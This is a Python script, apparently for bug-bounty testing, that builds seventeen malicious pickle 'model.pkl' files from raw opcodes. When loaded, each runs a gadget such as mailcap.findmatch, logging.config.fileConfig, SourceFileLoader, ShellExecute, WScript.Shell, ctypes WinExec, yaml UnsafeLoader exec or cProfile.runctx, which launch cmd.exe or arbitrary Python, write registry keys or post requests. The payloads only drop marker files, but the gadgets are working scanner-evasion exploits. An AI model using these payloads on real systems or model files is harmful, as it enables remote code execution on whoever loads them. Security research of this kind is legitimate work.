import os
import pickletools
import winreg

BASE = r"D:\0projects\bountykimi\tmp_scan\wave28"
MARK_ROOT = r"C:/Users/uozer/AppData/Local/Temp/opencode"
os.makedirs(BASE, exist_ok=True)


def G(mod, name):
    return b"c" + mod.encode() + b"\n" + name.encode() + b"\n"


def U(s):
    b = s.encode("utf-8")
    if len(b) < 256:
        return b"\x8c" + bytes([len(b)]) + b
    return b"X" + len(b).to_bytes(4, "little") + b


def I(n):
    if 0 <= n < 256:
        return b"K" + bytes([n])
    if n < 65536:
        return b"M" + n.to_bytes(2, "little")
    return b"J" + n.to_bytes(4, "little", signed=True)


PROTO = b"\x80\x02"
MARK_OP = b"("
TUP = b"t"
T1 = b"\x85"
RED = b"R"
STOP = b"."
NONE = b"N"
TRUE = b"\x88"
MEM = b"\x94"


def GET(n):
    return b"h" + bytes([n])


def marker(n):
    return f"{MARK_ROOT}/w28_{n}_fired.txt"


def save(name, data, extras=None):
    d = os.path.join(BASE, name)
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, "model.pkl")
    open(p, "wb").write(data)
    if extras:
        for fn, content in extras.items():
            fp = os.path.join(d, fn)
            parent = os.path.dirname(fp)
            if parent:
                os.makedirs(parent, exist_ok=True)
            mode = "wb" if isinstance(content, bytes) else "w"
            open(fp, mode, encoding=None if isinstance(content, bytes) else "utf-8").write(content)
    ops = list(pickletools.genops(data))
    bad = [(op.name, arg) for op, arg, pos in ops if arg is not None and "getattr" in str(arg)]
    globs = []
    for op, arg, pos in ops:
        if op.name == "GLOBAL":
            globs.append(arg)
    print(f"WROTE {name} bytes={len(data)} globs={globs} bad_getattr={bad}")
    return p


def pydict(pairs):
    out = b"}"
    if not pairs:
        return out
    out += MARK_OP
    for k, v in pairs:
        out += U(k) + (v if isinstance(v, bytes) else U(v))
    out += b"u"
    return out


def pylist(items):
    out = b"]" + MARK_OP
    for it in items:
        out += it
    out += b"e"
    return out


# 1 mailcap.findmatch - test cmd is executed via os.system inside findmatch
m = marker("mailcap")
# use python -c for reliable write+exit0 (cmd echo redirect hit Access denied under findmatch)
test_cmd = 'python -c "open(r\'%s\',\'w\').write(\'PWN\')"' % m.replace("\\", "/")
entry = pydict([("test", test_cmd), ("view", "echo ok")])
caps = b"}" + MARK_OP + U("text/plain") + pylist([entry]) + b"u"
payload = (
    PROTO
    + G("mailcap", "findmatch")
    + MARK_OP
    + caps
    + U("text/plain")
    + U("view")
    + U("safe.txt")
    + b"]"
    + TUP
    + RED
    + STOP
)
save("mailcap_findmatch", payload)

# 2 logging.config.fileConfig
m = marker("fileconfig")
ini_path = os.path.join(BASE, "fileconfig", "evil.ini").replace("\\", "/")
ini = f"""[loggers]
keys=root

[handlers]
keys=h

[formatters]
keys=

[logger_root]
level=NOTSET
handlers=h

[handler_h]
class=StreamHandler
level=NOTSET
args=(open(r'{m}','w').write('PWN') or __import__('io').StringIO(),)
"""
payload = PROTO + G("logging.config", "fileConfig") + MARK_OP + U(ini_path) + TUP + RED + STOP
save("fileconfig", payload, {"evil.ini": ini})

# 3 SourceFileLoader.exec_module
m = marker("sourcefileloader")
evil_py = os.path.join(BASE, "sourcefileloader", "evil.py").replace("\\", "/")
evil_code = f"open(r'{m}','w').write('PWN')\n"
payload = (
    PROTO
    + G("types", "ModuleType")
    + MARK_OP
    + U("evilmod")
    + TUP
    + RED
    + MEM
    + G("importlib.machinery", "SourceFileLoader")
    + MARK_OP
    + U("evilmod")
    + U(evil_py)
    + TUP
    + RED
    + MEM
    + G("operator", "methodcaller")
    + MARK_OP
    + U("exec_module")
    + GET(0)
    + TUP
    + RED
    + GET(1)
    + T1
    + RED
    + STOP
)
save("sourcefileloader", payload, {"evil.py": evil_code})

# 4 win32api.ShellExecute
m = marker("shellexecute")
params = '/c echo PWN>"' + m.replace("/", "\\") + '"'
payload = (
    PROTO
    + G("win32api", "ShellExecute")
    + MARK_OP
    + I(0)
    + U("open")
    + U("cmd.exe")
    + U(params)
    + NONE
    + I(0)
    + TUP
    + RED
    + STOP
)
save("shellexecute", payload)

# 5 win32com.client.Dispatch
m = marker("win32com")
cmd = 'cmd.exe /c echo PWN>"' + m.replace("/", "\\") + '"'
payload = (
    PROTO
    + G("win32com.client", "Dispatch")
    + MARK_OP
    + U("WScript.Shell")
    + TUP
    + RED
    + MEM
    + G("operator", "methodcaller")
    + MARK_OP
    + U("Run")
    + U(cmd)
    + I(0)
    + TRUE
    + TUP
    + RED
    + GET(0)
    + T1
    + RED
    + STOP
)
save("win32com_dispatch", payload)

# 6 ctypes.WinDLL("shell32").ShellExecuteW(...) via methodcaller
m = marker("windll")
params = '/c echo PWN>"' + m.replace("/", "\\") + '"'
payload = (
    PROTO
    + G("ctypes", "WinDLL")
    + MARK_OP
    + U("shell32")
    + TUP
    + RED
    + MEM
    + G("operator", "methodcaller")
    + MARK_OP
    + U("ShellExecuteW")
    + NONE
    + U("open")
    + U("cmd.exe")
    + U(params)
    + NONE
    + I(0)
    + TUP
    + RED
    + GET(0)
    + T1
    + RED
    + STOP
)
save("ctypes_windll", payload)

# 7 ensurepip.bootstrap
payload = PROTO + G("ensurepip", "bootstrap") + MARK_OP + TUP + RED + STOP
save("ensurepip_bootstrap", payload)

# 8 cProfile.runctx
m = marker("runctx")
stmt = f"open(r'{m}','w').write('PWN')"
payload = PROTO + G("cProfile", "runctx") + MARK_OP + U(stmt) + b"}" + b"}" + TUP + RED + STOP
save("cprofile_runctx", payload)

# 9 yaml.load UnsafeLoader
m = marker("yamlload")
ys = "!!python/object/apply:builtins.exec [\"open(r'%s','w').write('PWN')\"]" % m
payload = (
    PROTO
    + G("yaml", "load")
    + MARK_OP
    + U(ys)
    + G("yaml", "UnsafeLoader")
    + TUP
    + RED
    + STOP
)
save("yaml_load", payload)

# 10 lxml ElementTree.write
m = marker("lxmlwrite")
payload = (
    PROTO
    + G("lxml.etree", "Element")
    + MARK_OP
    + U("root")
    + TUP
    + RED
    + MEM
    + G("lxml.etree", "ElementTree")
    + MARK_OP
    + GET(0)
    + TUP
    + RED
    + MEM
    + G("operator", "methodcaller")
    + MARK_OP
    + U("write")
    + U(m)
    + TUP
    + RED
    + GET(1)
    + T1
    + RED
    + STOP
)
save("lxml_write", payload)

# 11 paramiko.util.log_to_file
m = marker("paramiko")
payload = PROTO + G("paramiko.util", "log_to_file") + MARK_OP + U(m) + TUP + RED + STOP
save("paramiko_log", payload)

# 12 requests.post
payload = (
    PROTO
    + G("requests", "post")
    + MARK_OP
    + U("http://127.0.0.1:18765/w28_requests_post")
    + TUP
    + RED
    + STOP
)
save("requests_post", payload)

# 13 tempfile.mkdtemp
parent = MARK_ROOT
payload = (
    PROTO
    + G("tempfile", "mkdtemp")
    + MARK_OP
    + U("")
    + U("w28_mkdtemp_")
    + U(parent)
    + TUP
    + RED
    + STOP
)
save("mkdtemp", payload)

# 14 winreg.CreateKeyEx - use GLOBAL for HKEY constant
sub = r"Software\BountyKimiW28\CreateKeyEx"
payload = (
    PROTO
    + G("winreg", "CreateKeyEx")
    + MARK_OP
    + G("winreg", "HKEY_CURRENT_USER")
    + U(sub)
    + I(0)
    + G("winreg", "KEY_WRITE")
    + TUP
    + RED
    + STOP
)
save("winreg_createkeyex", payload)

# 15 winreg.SetValueEx
sub2 = r"Software\BountyKimiW28\SetValueEx"
payload = (
    PROTO
    + G("winreg", "CreateKey")
    + MARK_OP
    + G("winreg", "HKEY_CURRENT_USER")
    + U(sub2)
    + TUP
    + RED
    + MEM
    + G("winreg", "SetValueEx")
    + MARK_OP
    + GET(0)
    + U("Pwned")
    + I(0)
    + G("winreg", "REG_SZ")
    + U("PWN")
    + TUP
    + RED
    + STOP
)
save("winreg_setvalueex", payload)

# 16 winreg.DeleteValue
sub3 = r"Software\BountyKimiW28\DeleteValue"
payload = (
    PROTO
    + G("winreg", "OpenKey")
    + MARK_OP
    + G("winreg", "HKEY_CURRENT_USER")
    + U(sub3)
    + I(0)
    + G("winreg", "KEY_WRITE")
    + TUP
    + RED
    + MEM
    + G("winreg", "DeleteValue")
    + MARK_OP
    + GET(0)
    + U("ToDelete")
    + TUP
    + RED
    + STOP
)
save("winreg_deletevalue", payload)

# 17 Direct ctypes.windll via getattr-free path: ctypes.cdll is submitted;
# try ctypes.windll.LoadLibrary then WinExec - LoadLibrary on LibraryLoader
m = marker("windll_loadlibrary")
wincmd = 'cmd.exe /c echo PWN>"' + m.replace("/", "\\") + '"'
payload = (
    PROTO
    + G("ctypes.windll", "LoadLibrary")
    + MARK_OP
    + U("kernel32")
    + TUP
    + RED
    + MEM
    + G("operator", "methodcaller")
    + MARK_OP
    + U("WinExec")
    + U(wincmd)
    + I(1)
    + TUP
    + RED
    + GET(0)
    + T1
    + RED
    + STOP
)
save("ctypes_windll_loadlibrary", payload)

print("ALL GENERATED")